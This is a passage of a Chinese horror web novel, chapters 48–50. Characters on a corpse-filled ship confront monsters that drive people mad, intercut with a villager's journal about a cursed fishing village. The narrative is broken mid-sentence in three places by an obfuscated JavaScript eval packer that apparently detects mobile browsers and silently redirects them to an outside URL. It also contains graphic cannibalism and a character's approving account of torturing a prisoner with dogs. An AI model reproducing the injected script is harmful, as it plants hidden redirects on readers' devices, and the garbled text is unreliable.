檀妄生放下手。屋内,侍从撕咬着眼前的“食物”,就像狗在有人抢食前大口吞下所有东西一样。周从友再次拉开他。他被按在了空地上。他抬起头,盯着门边的两人,嘴里还在贪婪地嚼着那块血淋淋的肉。 “他的眼里只有最纯粹的东西,狩猎,保卫领地。吃饭,喝水,睡觉。感受到威胁会做出攻击,受到伤害会反击到死前最后一刻。他永远也不知道什么是绝望,”檀妄生目光慢慢扫过屋内一圈尸体,接着道:“或者说,作为一只狗的他,所承受的绝望远远不如这些停泊在荒岛边、被困在船上的人。” 萧明灿沉吟着说:“这样的人很难会疯掉……甚至可以说,他永远也不会疯。” “汪——汪——!” “可是,那些怪物为何要这么做?”言生沉声道:“他们不再感到极度的恐惧,就意味着他们不会再被幻觉侵蚀,更不可能被怪物夺走身体。这对它们来说有什么好——” “不要抢……汪——” “压住他——绳子呢,拿绳子来!” “嘶——别被他咬到——” “汪——放开……汪——” “你是人——振作一点!” 屋内瞬间陷入一片死寂。 仿佛被人突然从噩梦里叫醒。侍从动作一僵,血珠沿着嘴角滑下,在下巴汇聚,啪嗒啪嗒砸在地上。 侍从后知后觉地抹了把脸,蹭掉鼻血。他的嘴里还咬着一块肉。 周从友让自己看起来毫无恶意地、缓缓地蹲下来,看向趴在地上的男人,轻声说:“你是人,不是狗,清醒一点。” “我……我是……” 侍从低头看向从嘴里掉落的肉块,而后又蹭了把嘴。他把手指伸进嘴里,抠下卡在牙里的一小块血物,那是人的断甲。 “我是……我是人……” 侍从如梦初醒地抬起头,看向四周。满地都是残缺不全的尸体,鲜血像是漫进船舱的水。一盏油灯立在地上,昏沉的光映着后面那张惨白的脸。他双眼瞪大,就那么看着侍从,而下半张脸已经被啃食掉了。 檀妄生道:“当一只野兽意识到自己其实是一个人,当‘他’低头看着自己撑起的肚子,满手的鲜血,和嘴里带着腥味的肉块,意识到自己吃的就是自己的‘同类’时。他会发生什么?” 尖叫声,撕心裂肺的尖叫声。 那不属于怪物,而是一个人在极度绝望的恐惧时才会发出的叫声。萧明灿从没听过这种惨叫。地牢里的人也从没有发出过这种声音。 “所以,不要试图和它们面对面交谈。”檀妄生在惊心动魄的尖叫声中偏头,靠近萧明灿的耳畔,亲昵地说道:“它们会逼疯你。” 48. 鬼门关 那东西会逼疯你。 这是它们折磨人的招数。 村民们颤抖地写下这几行字。他害怕极了,手抖得厉害,以至后来每一个翻开这手札的人,都能从那晕染严重的字里行间中感受到某种悚然的战栗。仿佛那种恐惧能透过回忆来蚕食他,就像……就像上千只隐藏在泥田里的水蛭。 村民反复回忆着那日发生的事,感觉像是趟进浑浊又无边际的泥水里,茫然,恶心,痛苦——很快,这种反胃感就演变成了另一种让人心惊的恐惧,如同水蛭从脚底爬满全身,他清楚事情正走向恶化,大脑发出危机的尖啸,但却不知道该如何脱险。一种无法言喻又难以摸清的恐惧正笼罩着他。 混乱。 村民在最后一行用了这两个字来总结。 一片混乱。 撕心裂肺的尖叫声穿透了墙壁。 船舱微微摇晃着。那随从赶在几人动手前蹿进了阴影里,他速度很快,手脚并用,在倾倒的桌椅中穿梭,全凭野性的本能。一连串的铁弹“砰!砰!”贴着他砸进桌面。木屑飞溅。油灯里的光又暗了点,桌椅的影子被映在墙上,像是夜里随风摆动的芦苇荡。 呼吸声,低呜声,血肉被打碎后发出的黏稠溅地声。 “呼……呼……” 一片昏暗。 周从友端着三眼铳,迅速寻找目标,那身影巨蛇似的钻到了一摞缸后面。几人谨慎靠近。最边缘的缸被侍从撞裂了。混着血腥的香气若有似无地飘出。周从友眉心一跳,一把压下旁边人:“都是酒,别打,容易出事儿。” 他抽出刀。远处的一盏油灯倒在地上,随着船舱缓缓滚动,咯吱声穿插在尖叫后的停顿里。那虚弱的光映着木台边缘淅淅沥沥的碎肉,像是一块流苏布罩在了台上——咯吱,咯吱。 油灯继续滚动,光亮越来越暗,直到距离那摊酒水还剩几步远时,熄灭了。 侍从尖叫着冲过来,在撞上周从友时爆发出了一声懊恼的哀嚎,他似乎中了一刀,身形摇晃了下。他撕咬不成周从友,便又爬起来。铁弹连排似的射过来,打穿了他的胳膊。他再次发出哀号。 檀妄生抬起火铳。侧方的流弹打中了他的脚踝,他身影晃动的瞬间让前面瞄着脑袋的铁弹擦着耳朵掠过,射|进了后面的墙里。那随从好似没有任何痛感,拖着破碎的身体冲向门口。 他像狗——不,像猿猴一样弯着身子,双臂跟破损的布偶一样胡乱摆动—— 他看起来就像是异怪话本里才会出现的那种怪物。 “呼……呼——” 他猛地僵在原地,仿佛撞上了一堵无形的厚墙。他没有去看捅进胸口的刀,而是直直盯着眼前的言生。他的眼神变了。 他就像在短短半刻钟内突然换了个人似的——没有普通人遭遇怪物后该有的惊魂未定,没有猎狗一样的警惕戒备。他发出了嘶哑的尖叫,但却丝毫没有得知自己食人真相后癫狂的恐慌,仿佛那些情绪在某一瞬间被全部剔除了,他的眼里只有……只剩下平静的打量。 言生感觉到些微反胃的恐惧。她明白了什么。它在观察她,在观察她们——观察踏进这里的每一个活人,就好像从他们推开这扇门开始,就已经进入了它设计好的圈栏里,就像街边供人耍弄的猴子一样—— 没错,从一开始就是这样。 它让他们看到了那侍从半疯半醒的模样,在他们因他陷入挣扎而犹豫是否动手的间隙里,目睹了他“转变”的整个过程。当人的认知强加在野兽身上,当野兽意识到自己其实是“人”时,它看着眼前用尸体堆成的恐怖盛宴,意识到让“同伴”支离破碎的始作俑者就是自己时,真的不会崩溃吗? 理性的劝告是发疯的契机。这就是怪物的目的,让他们亲手把“同伴”推向他们的行列。一种未知的恐慌和一丝微妙的、类似绝望的情感悄然上涌。言生握紧了刀柄,刀刃在血肉中微微绞动。那怪物真的没有任何头脑吗?它们看起来就像是折磨人的高手。 那么,现在这个拖着破碎的身体、已经转变成怪物的东西扑上来,也是它们的“计划”之一吗? 怪物的眼里依旧没有任何的嘲讽、得意洋洋的窃喜,又或是处于上风的怜悯。它就那么静静地观察着眼前的人,像是一个认真学习的孩子。 言生一脚踹开那侍从,在抽刀时被血溅了一脸。 侍从瘫在血泊里,摇摇晃晃地爬起来。流弹打中了它的后背。它挣扎着抬起头,看向被护在言生身后的萧明灿。 门外油灯的映照下,它张了张口,血从嘴里不断流出,舌头如蛞蝓般缓缓蠕动着,然后,他从喉咙里发出嘶哑的尖叫——砰! “……无论见过多少次,都没办法适应这种场面。” 檀妄生压下火铳,重新装填弹药,“要我说,看这东西简直无异于精神上的自|残……” 他看见萧明灿往前走了几步,提着油灯,照向墙面。 那墙上的血就跟泼墨似的,刀痕交错遍布,现在上面还多了几处弹坑,昏沉的光线下,看起来就像庞大的鬼魂们正冲着门面尖声哀嚎。 周围一片死寂。 所有人都站在原地喘息着,仿佛刚从一场噩梦里挣扎着脱身,接着又意识到,和现实相比,刚刚那场噩梦简直是小巫见大巫。 他们无意识往光亮的地方看去。萧明灿将灯稍微压低了些,看着一路淌到墙角的血迹。几个时辰之前,这些鲜血就像有生命却无意识的粘液一样缓缓下淌,在地上汇聚,仿佛要占领整个地板,不过又被重物毫不留情地碾过,只留下一道重叠在一起、反复拖行的痕迹。如今来看,就像虫子被压扁后风干的尸体。 萧明灿转过身,油灯映着房门上那几道裂口。 船上的那群人就是在这里出事的。 在这间伙房里曾发生过一场袭击,或者说,又一场恐怖的屠杀。那些人在厮杀时打翻了桌椅,他们当中一定有人想要离开这里,跑出去传递消息,但房门被人从外面挡住了。他们能劈开房门,却没办法挪开挡在外面的东西。身后的屠杀还在继续,尖叫声,鲜血飞溅在墙上的声音,海浪声—— 檀妄生问:“感觉它们无处不在?” 萧明灿扫视四周,“就像排队投胎的灵魂一样。” 檀妄生看向地面上的尸骸,“……现在来看,更像是一群等待享用丰盛晚宴的豺狼。” “无论‘灵魂’还是‘豺狼’,它们做一件事的目的都是为了让自己活得更长久。” 萧明灿往深处走,没去看门边那具中弹的尸体,“但它们从让那个人陷入半疯的臆想开始,就没指望能让同伴在‘接替’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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檀妄生扯开旁边几个椅子,拎起被埋在下面的木箱,屈指轻敲了敲,“从它们的神智上来看,很显然,一旦附着的身体支离破碎,它们也会彻底死亡——或者说,消失。” 萧明灿点点头,“所以,它们团结到了超乎想象的地步。甚至为了‘同化’这一目的,可以毫不犹豫地牺牲同类。就像繁衍的虫群一样。”她稍稍低头,看了眼掌心松散的纱布。 檀妄生就在萧明灿右手不远处,闻言抬头看向她,挑了挑眉,说:“国师担心的是,既然它们上一次这么做的目的是为了同化船上所有人,那么这一次,是不是也会有人像那些渔民一样,因为刚刚那出惨剧而感到绝望或不安呢?就像一场真真正正的‘重演’。” 萧明灿没有说话。言生皱紧眉,松开了手里的领子。那尸体“啪唧”一声砸在了地上。 油灯的光线勉强能照亮几人周身,因为伙房太大,以至于他们看着对方,就像是在看黑暗里的孤岛。 檀妄生一手拎着小木箱,另一手扛着火铳,食指搭在扳扣上。他的头微微侧着,用余光瞧向站在后方角落里的言生,道:“说不定我们当中已经有人成了那怪物的目标。就如同国师说的那样,如果那些怪物就像排队等待重生的灵魂,那么现在——” 咚——咚—— 楼下传来闷重的砸响。 他微笑起来,说:“鬼门关已经开了。” 49. 亡灵路 如果现在让萧明灿用一句话来解释恐惧,她大概会说,恐惧往往来源于对危险的预期。 比如那些目睹冯祥陷入疯症的村民。当他们看到冯祥血肉模糊的脑袋,和自己手里沾满鲜血、已经断裂的椅子时,一定会下意识地思考自己接下来该怎么办—— 该如何收拾这些血迹?尸体怎么处理?要花多长时间才能把那些鱼收进鱼桶——该怎么向大家解释这些? 告诉冯祥的妻儿和年迈的父母,他们最爱的人突然在一夜之间毫无征兆地疯了,把自己当成了捕食的黑豹,他们迫不得已,只能—— 该怎么解释那两个已经连全尸都拼不齐的可疑渔民?是他们诱导冯祥发作的吗?是他们两个害死冯祥的吗? 还是说,真正害死冯祥的,其实是他们这些当初怂恿冯祥再和他们去一次丰饶海的人? 比如那些看着几人从丰饶海狼狈回来的村民们。当他们看到他们几个带回一艘的糊满鲜血却造工精良的渔船,和六具死相诡异的尸体时,心里会涌起多大的不安? 那七个人又去了一趟丰饶海。他们救下了身份不明的渔民。后来冯祥在一夜之间疯了,那两个渔民也成了他的腹中餐,剩下三个村民在短短数日里接连死亡,还活着的这三个人也被吓个半死,根本说不清海上到底发生了什么。 接下来,村里开始有人莫名失踪、发疯,然后在某一天惨死家中,又在雨夜的灵堂里从棺材中惊坐而起。 哪怕金海村从未相信过什么鬼神之论,频发的离奇诡事也会让他们不免怀疑,冯祥他们会不会真把“丰饶海的诅咒”带回来了? 比如正在重演那场“丰饶海诅咒”的此时此刻。萧明灿和言生、檀妄生就站在这里,就像当初那三个村民一样,衣上溅着血迹,脚下尸体成堆。浓烈的腥味始终飘散不去。 比这更令人反胃的是,楼下更狭窄的舱室里正断断续续地传出诡异又潮闷的“咚——咚——”声。假如有一群死人从坟里爬出来,摇摇晃晃地跑去敲生前的家门,大概就会发出这种声音。 而与这些相比,檀妄生手里提着的那个木箱应该也算不上什么恐怖的东西了—— 应该。 萧明灿知道那小木箱的用途,也知道里面应该装的是什么。但那箱面如今就和外面那堆木桶一样沾满鲜血,被砸裂的缝隙里勾着一块衣摆。里面或许装着什么更恐怖的东西。比如一摊血泥,或是残肢断臂,某个被切掉一半的头颅,说不定头颅的主人就是小沈将—— 在这转瞬即逝的数息里,屋内陷入一片寂静,让楼下的撞击声逐渐消散在墙壁里,和曾经那数十人的惨叫声一起被困在船舱的各个角落。但很快,闷沉的撞击声再次响起,这感觉有点像躺在棺材里听着外面的人在往上面盖土。 而就在这紧绷又压抑的气氛下,檀妄生走到稍亮的地方,轻轻放下木箱,就像展示什么宝物一样,拨开两侧皮扣。 “……‘剩下三个村民在短短几日里接连惨死。’”言生视线凝向那木箱,接着又转向单膝跪地的檀妄生,“当初闯进船舱的一共有三个人……难道说,除了写下那些手札的村民之外,剩下两个人都死了。” “所以那个村民才会把船舱形容成‘鬼门关’。”檀妄生敲了敲箱面,听着发闷的声响,道:“从他和同伴们砸开船舱的木窗,闯进里面的那一刻起,就把那些‘诅咒’全都放出来了。” 萧明灿看了眼倒在房门边的侍从,走廊上的光线忽明忽暗,那侍从的上半身陷在阴影里,看不太清伤口,“他应该会感到很恐慌。” 檀妄生说:“他重复写了上百遍那些话,说他们是把诅咒带去金海村的罪魁祸首,说他罪该万死,愧对大家。他密密麻麻写了十几页纸,后来纸不够了,就在边角里挤着写。越往后翻,字迹就越歪斜难辨,到最后大部分的字都是草草一笔划过,又被成堆的泪水模糊,很难让人分辨究竟是忏悔,还是疯癫——” “也许二者皆有。”萧明灿轻声说:“毕竟他看起来已经快到极限了。无论是对金海村日复一日走向失控的恐惧,还是对目睹亲近之人接二连三惨死的愧疚。” 她望向四周,“如果这真的是一场‘重演’,最终这间舱室里只有一个人能活下来的话,说不定最后那个活下来的人也会变得像村民一样,惶惶不得终日。” 檀妄生双手搭在箱面上,真顺着这话想了想,“最终活下来的那个人用接下来的每一天来回忆过去,而过去那些曾站在这里的人都已经死了……就好像那个人也一同被留在了过去一样。”他看着萧明灿走过来,就这么仰起头,吊儿郎当地露出个笑来,“国师不觉得非常有宿命感吗?光是听起来足够让人期待。” “将军想偏了。我们可不是那种能用一生去怀念对方的关系。” 萧明灿慢慢蹲下身。油灯放在她旁边,火苗的光影照着眼下那两颗小痣。两人面对着面,距离却谈不上近。那箱子就横在两人之间。这让檀妄生又想起了刑狱里的那个场景。而国师的声音也和当年一样从容又平和。 “将军忘了吗?我们甚至还曾想过把对方当成给自己垫脚的棋子一样算计。如果将军真把这想成‘怀念’的话……” 檀妄生笑了起来,看着她的眼睛,善解人意地替她说出来:“不是出了什么恶疾,就是有喜欢受虐的癖好。” 萧明灿不置可否,视线停在他沾着血的狐裘上,“所以,这听起来更像是个恐怖故事。” 撞击声断断续续传来。通往舱下的楼梯被几个木柜挡住了,变得狭窄又拥挤。随从们迫不得已,只能暂退回走廊尽头,派出两个人去底下砸开柜子。屋内的言生拎着尸体的后领,翻过身,扯下他腰间的牌子。 “……国师知道吗?” 檀妄生望向周围,那饶有兴味的目光就好像他终于发现了这里的美妙之处,接着又慢慢转回到萧明灿身上,“眼下正是讲恐怖故事和接吻的好时机——” 底下传来木板崩裂的声响,那其中夹杂着怪物的叫声,就在他们脚底下,微弱,闷沉,空洞,听起来像是一群溺水之人在竭力挣扎着探出水面。 檀妄生说:“因为这地方简直就像地狱前面的鬼门关一样——” 鬼门关,鬼门关,鬼门关。 幸存的村民在接下来的每一页里都提到了这三个字。因为从他们不得已杀了冯祥、回到金海村开始,一切就都失控了。他至今也无法说出他们究竟把什么带回到了岛上。 冯祥的葬礼后不久,当时和他一起回来的两个人也出事了。村医看着两人癫疯的样子,说他们染上了不明瘟疫,必须马上隔离。县里的大夫赶来后,说这可能是某种罕见的怪病,也许和那些从丰饶海捕捞上来的鱼有关。 但他知道,这根本不是什么该死的疫病。那东西一直跟随着他们,从他们靠近那艘渔船开始……就像头上的乌云,就像冯祥死亡那天的海雾。它们附着在了其他人身上,如同吸进鼻腔里浮尘一样无法避免,源源不断,阴魂不散,并且没有任何解决的方法…… 一种前所未有的恐慌如阴霾般在岛上迅速蔓延。 接下来的半个月里,几乎每隔几天就会发生这种离奇怪事,谁家的鸡一夜之间被咬死大半;某个阴雨天,全村的狗吠叫了大半个晚上,村民们打伞举着火把四处巡看,结果村里什么都没发生;谁家小孩失踪了,村里人挨家敲门,召集大家伙儿去帮忙—— 咚咚。 村长敲开他家的门,那是老村长的孙子,也是他们从小一起长大的玩伴,几乎没怎么出过岛,大部分时间都在处理村里的琐事。他们以前都叫他白面书生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228942|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为他是岛中唯一一个不爱动,只爱看书的人,没有一身腱子肉,俊得像皇城里来游玩的贵公子。但此刻,那白面书生就坐在他对面,窗子被雨打得噼啪作响,烛火照着他袖袍上的血。 “村里又有人死了。”他说。 村里又有人死了,村里每天都有人死。今天是二伯家的老翁,大前天是“四爷”家刚成婚的新郎官,他还记得那哭声,撕心裂肺,从寅时哭到了卯时,从村南传到了村北。那日的清晨灰蒙蒙的,没有一个人出门,只有哭声荡在路上。 “我知道。”他回话。 他知道,他都知道。他也知道村长来这儿的目的,他几乎每一天都会来,然后问他在丰饶海的那些事。他说了,他全说了,但他们仍觉得他说得都没用。冯祥是怎么出事的?那两个身份不明的渔民在这之前有没有做过什么?为什么剩下的人都疯了? 他们到底为什么去丰饶海?真的是去捕鱼吗?难道没有碰到什么?没有被什么东西迷了心智? 窗闩被风吹得松动。村长握紧拳头,砸向桌面,“你们在船上到底发生了什么?!” 咚咚—— 又有人敲门了。他闷在被窝里,捂上耳朵,却还是能听到门外的动静,那人摇着他大哥的胳膊,说有人跳井了,是青石。 他脑海里想着青石一家的模样,她比他小十多岁,他第一次从丰饶海回来时,她才刚出生呢。时间过得太快了,转眼间她就成婚了。那孩子和她小时候一样圆润可爱,现在已经七八岁了,墙上还挂着孩子抱着胖鱼的画像。四日前,那孩子失踪了。 失踪的人都死了,发疯的人也都死了。村里空了大半,因为那些人都在村东头那边烧着呢。烈火熊熊,散出烟灰就像天上的云,接着,一道闪电劈向海面—— 咚咚。 他躲在地窖里,不再捂着耳朵了。他一手扒着纸,一手握着笔——他有一年多没碰这些东西了,写字的手都有点儿不听使唤,但他仍在写。他听见了上面传来的动静,说谁又死了,谁又失踪了,谁又疯了,哪家人受不了刺激,直接扑进了火里,让大家帮忙救人。 他把囫囵吃完的饭推到一边,身上的衣服已经七天没换了,他顾不上,只握着笔。屋里的烛灯熄了又亮,敲门声响了又响,每天都有人哭,每天都有人过来—— 咚咚。 咚咚。 他闭门不出,只反复回忆着那些事。村长不再找他了,似乎放弃了在他身上寻找希望,又或是觉得再逼他几次,他也得变成那些尸体里的一员。他继续写着。有一天,他抬起头,顺着敞开的窗,看到了一个半张脸皮被剥下来的人。 那村民手里握着自己的脸皮,用血淋淋的脸看着他。身后的人发出尖叫,然后,那血人直挺挺地往下倒—— 咚——咚。 他加快了写字速度。村里的人越来越少。他觉得金海村现在就像是被圈养起来的羔羊,而某种更可怕、就像屠夫一样的东西正一只一只地吃掉他们。他开始恐惧第二天的到来,他仍在写,敲门声仍时不时传来—— 咚。 咚。 船舱里。楼下挡路的木板被砸穿一块。模糊又沉闷的叫声从缝隙里传出,听起来像是被困在石头里的幽魂发出凄厉的哀叫。 咚。 咚。 村民听到了敲门声,有人说东边起了火,冯家瘫了痪的大伯还在屋子里。 鬼门关。鬼门关。他在纸上的边角里反复写道—— 咚。 咚。 外面的人小跑着往船上搬送行李,其中一人被石头绊倒,木箱摔在了地上。 咚。 咚。 昏暗的舱室里。檀妄生指尖轻点着箱面。萧明灿接着他的话说:“足够让人恐惧。” 50. 越界 “我本想说的是刺激,但……”檀妄生笑着耸耸肩,没说下去。 “恐惧来源于未知。”萧明灿思索着说:“村民们无法摸清那些所谓‘瘟疫’的来源,也不清楚大家突然发疯的缘由,更别提解决了。在他们看来,金海村在某种意义上来说已经变成了传闻中的丰饶海:迷雾浮荡,暗潮汹涌,永远也不清楚接下来会遇到什么让自己丧命的可怕之物。” “更像是把一个被剜掉眼睛的人扔到了野兽遍布的森林里,一丁点风吹草动都能让他吓破胆子。” 檀妄生在昏暗里看着萧明灿,一手搭着箱面,却没有俯身接近,端正得就像在与人对弈的正人君子,“他会把听到的鸟叫声误认成形似猿猴的怪物正盯着他嘶吼,张开的嘴扩张到惊人的程度,同时露出碎渣似的一排排尖牙……” 鬼门关,鬼门关,鬼门关。 闷弱的撞响透过木柜层层裂口传出,一声接着一声,足够让人在脑海里拼凑出能想象到的那种最恐怖的畸形怪物。 走廊上的所有人都盯着那狭窄又黑暗的楼下入口。他们只能看到墙面两个同伴晃动的身影。也许他们想说点什么缓解气氛,但最终填充这死寂的只有试图吞噬船只的海浪声。 鬼门关,鬼门关…… “如果这里是鬼门关的话,那么将军应该早就知道‘门’后面有什么了。” 萧明灿轻声开口,“毕竟那些怪物眼下正打算重演金海村的那场惨剧。而你是这里唯一的知情者。” 檀妄生想了想,“就像预知神那样?” 萧明灿目光落到箱面上,看着那染血的手,“所以,门后不管有什么可怕的怪事,将军应该都有所预料吧?” 檀妄生眼神里充满了新奇,“国师这话的意思是,想要作弊吗?” 萧明灿没有直接回答,“除了将军之外,应该没人会认为现在是一场考试。” “说不定呢。”檀妄生懒洋洋地敲敲箱面,“我之前在学堂时,每一次考试,看着那些题……有个词怎么说来着——对,如履薄冰。你永远也不知道下一题在找到答案之前会折磨你多久,这感觉有点像是在走迷宫。国师不觉得如今的处境和这很像吗?” 萧明灿抬眼看他。他露出微笑:“说不定这就是对国师的一场考试。国师应该没有过为难题而烦恼的时候吧?” 言生两步向前,“你——” 萧明灿轻轻抬手示意停下,说:“我以为从我们交易开始之后,将军就不会再玩那种无聊的扮演游戏了。” “一成不变的生活多累啊,有时玩点不同的扮演也会……”檀妄生揉了揉后颈,接着感兴趣地说:“我以前在军营里听那些人说,偶尔的扮演游戏可以为夫妻生活增添乐趣。虽然我们不是夫妻,但乐趣却只多不少。国师不觉得这很神奇吗?说不定你和我之间——” 撞击声在墙壁之间沉重回荡。楼下挡路的柜子被砍得栽栽歪歪,随从抬脚踹向裂口,那木柜就在快要推翻后面支撑的桌椅时忽然一停,紧接着又被躲在舱室里的“人”狠力顶回了原位。 走廊里传来一句泄气的咒骂。 “……实话实说,”檀妄生道:“那个村民写的东西大多混乱复杂,尤其到了全村离岛的前几日,那些字扭曲到说是目不识丁的醉汉胡乱瞎写的也不为过。即便是在岛上生活了三年之久,我也没办法真的确认具体到底发生了什么,所以‘门’后——” 萧明灿温和地打断了他的胡言乱语,“将军想要什么?” 檀妄生仿佛听到了什么意料之外的话,稍挑起眉,“国师能给我什么?”他看向萧明灿缠着纱布的手,说:“我不需要黄金万两,想要的权利国师也无法作出承诺。性命嘛……现在比起我自己,国师反而要更危险。” 油灯里的火苗摇摇欲熄,在两人的脸上投下昏暗的影子。 “国师想要谈判,却连拿得出手的筹码都没有。”檀妄生不紧不慢地触着箱面,看着她说:“三年不见,国师怎么退步了?” 萧明灿轻笑了笑,说:“这不是将军最期待的部分吗?束手无策,进退两难,能依靠的只有将军,就像当初在狱中的将军一样。那是将军唯一一次感觉到自己掌握的一切开始分崩离析吧?我知道将军一直想要‘重演’当年那种感觉,然后将结局转变为占据上风。” 檀妄生道:“姐姐,说得我好像个孩子。” “将军应该会比孩子更懂得把握分寸。”萧明灿的语气依旧那么平和,“你和我都清楚,如果我出了什么事,到时候将军不仅得不到想要的东西,甚至就连辛辛苦苦赌来的命也得丢了,那可就得不偿失了。岛中心对于那些怪物来说,是座易守难攻的城池,但对于皇上来说,不过只是个湖中小岛。” “国师虽这么说,但心里已经开始感到担忧了吧?”檀妄生微笑着说,“……的确,眼下大家都在这艘船上,被迫经历这些让金海村走向覆灭的惨剧……不过事实上,外面那些人虽然看起来心惊胆战,但他们都是我的人,应该早就知道了接下来会发生什么。而国师却不一样。” 船体随着海浪轻轻晃动。 “那个渔民曾在回忆中写道,他觉得金海村就像是被迷雾笼罩的羊圈,而它们就是日日夜夜都处于惶恐不安的待宰羔羊。”他慢慢地说,“因为他们只能感知到那种悄然逼近的危险,却不知道该从哪里入手才能反抗。这感觉就如同在夜里的悬崖边行走——就和此时此刻的国师一样。毕竟……” 檀妄生视线慢悠悠地看向箱面上两人相对的指尖,“国师可是在和善变的疯狗打交道,难免会担心自己哪天真会被疯狗反咬一口。” “将军总是多想,我从来都没有把将军想象成这种人。”萧明灿似乎觉得有些无可奈何,但比起恶劣的疯狗,她的语气更像是在对待一个耍赖的小孩,“将军想听我这么说吗?‘我需要将军,将军是我在岛上唯一能指望的人了。我能依靠的也就只有将军了。’” 檀妄生仰起头,深吸一口气,然后说:“……这里是天堂吗?我感觉自己掉进蜜罐里了。” 接着,他又把目光落在萧明灿身上,可怜地说:“但国师知道吗?就像我总是‘多想’一样,我幼时失去双亲,流离失所,自小就和路边的小乞丐抢饭吃,受的伤比街上供人杂耍取乐的猴子多,安全感比给人家看院的狗还要少。所以,比起耳朵听到的,我更喜欢亲眼瞧见的。” 萧明灿表情没有任何变化。 檀妄生说:“几年前,我们曾在军营附近抓到了个打探军情的斥候,那家伙无论如何都不肯开口。我喜欢和这种人打交道,坚定,有勇气,知道自己要做什么,并且为了目标可以毫不犹豫地付出生命。于是,我带他去了营里最好的一间营帐。” 他身后的言生收起牌子,按住刀柄,无声向前,却被萧明灿用眼神制止了。 “那里面燃着火炉,简直暖和得要命。周围也亮堂堂的,他前面铺着刚从敌营里顺过来的虎皮毯,坐着的是营里最舒服的宽木椅。但他几乎感受不到这些。因为他的耳朵和眼睛都被蒙住了。” 檀妄生沉浸在回忆里,说:“在他的世界里,那些虎皮毯、炉火、烛灯都与他无关。他能感知到的只有黑暗,身下那把木椅,和不知何时就会冲过来撕咬他的猎狗。起初,我们每隔两个时辰就会放一次狗,然后在他快要熟悉这种折磨时,我们开始变得随心所欲。一刻钟,半个时辰,四个时辰,在他因为伤口的剧痛而昏昏欲睡的时候。每一次,我们都在他濒临极限时带走那些猎狗,为他止血。” 萧明灿想起了檀妄生每当什么离奇怪物出现,就会挡住她眼睛的那些时候。 “恐惧就像一把无形的凌迟刀,顺着他的伤口剜刮着血肉,而惊慌和痛苦会在他脑海里不断作祟,逼着他把想要隐瞒的情报吐出来。”檀妄生道:“五天后,他说出了一切,求我给他个痛快。我永远也忘不了他当时的眼神——” 萧明灿低眸看着掌心半脱落的纱布,指尖几不可见地颤了一下。 言生拇指无声顶开刀鞘,视线紧盯着檀妄生,但注意力却放在了余光里那道黑影上。一个随从不知何时站在了门外的墙后,身影被走廊的壁灯映在门框上。她能看到他手里握着的东西。 檀妄生瞧着她脸上每一个细微的变化,“你看,国师自认为能掌控这座岛上所发生的一切,哪怕在近百人无故失踪的情况下。国师觉得自己能解决一切问题,所向披靡。但现在,国师看到这船里的东西,已经开始下意识地去推测接下来会发生什么,担心那些怪物会不会吞噬你身边的人,直到你陷入孤立无援的处境。” 萧明灿没有说话,目光凝向沾血的箱面。她蜷起手指,试图借此来掩盖轻颤,但却被檀妄生伸指勾住了。 “国师应该从没想过那个时候的到来吧?”檀妄生说:“国师想要杀了我,也想让皇城派兵踏平这里,但我们国师心系百姓,一定会为了皇城的安危在我这里忍辱负重。国师想要找到解决怪物的方法,而我也想要,这是我们唯一一个还算相同的目标。但我最不缺的就是时间,可国师不一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那火铳就在木箱的旁边。她只要一伸手就能碰到。她知道如何使用它。以她的速度,完全可以在眨眼间就把那东西顶在他的脑袋上。但她却始终没办法真的扣动扳扣,她需要他,所以,也许她会往他胳膊上开火,或是肩膀—— 然后萧明灿笑了起来。 檀妄生见过很多次国师的笑容,但没有哪一次能和现在相比。他曾经想过的那种景象终于在此刻发生了——总是以亲和好脾气示人的伪装消失了。她笑得像是看到了这世上最有意思的一出笑话,声音足以引人注意到让他们忽略那些怪物的嘶叫。 但那笑容却不疯狂,也不牵强。她真情实意地觉得这件事很有意思,就像刚刚在国师府里看完了一场无比精彩戏剧,就好像他才是那个摆出仓皇姿态露出马脚的败者。 檀妄生脸上的笑意僵了那么一瞬,接着反应过来了什么,稍挑起眉。萧明灿说:“原来将军喜欢这个。三年前你就因为这种事差点赔上了命,如今怎么还在期待这种事?” 她向前倾身,不在乎指尖因此碰到他的手指,看着他的眼睛,“有时亲眼瞧见的东西也能骗人,看来将军在刑狱里的教训还没尝够。既然将军说自己是疯狗,那能不能闻得到谎言的味道?” 檀妄生稍稍转头,鼻尖轻轻蹭过她的右耳,血腥味被沐浴后还残留的皂角香短暂遮盖。 萧明灿的声音轻而缓:“将军想知道我的极限在哪里吗?” “……这个嘛,”檀妄生说:“现在我更喜欢亲自探索。” 萧明灿说:“宫里人都说当今国师是个体恤百姓、平和好相处的人,但唯一遗憾的就是有一副经常生病的身子。将军自然也知道那些半真半假的流言,所以,我在将军心里,应该是个经不起风吹雨打的瓷娃娃。亲手调教当然是件让人兴奋的美事,但要真玩出了什么事,我猜将军也承担不起这罪责,所以……” 她把住木箱两边,掀开盖子,看向里面的东西。 “……将军只敢耍些口舌功夫。”停顿了片刻,她说。 檀妄生看了眼空落落的手,耸耸肩,无辜道:“我本身也打算告诉国师的。只是……国师不信任我,在我说金海村的时候就打断我了。其实我想说的是——我的确很难断定‘门’后到底会出现什么,但我大概能推测出当年全村人没能成功离岛的主要原因。” 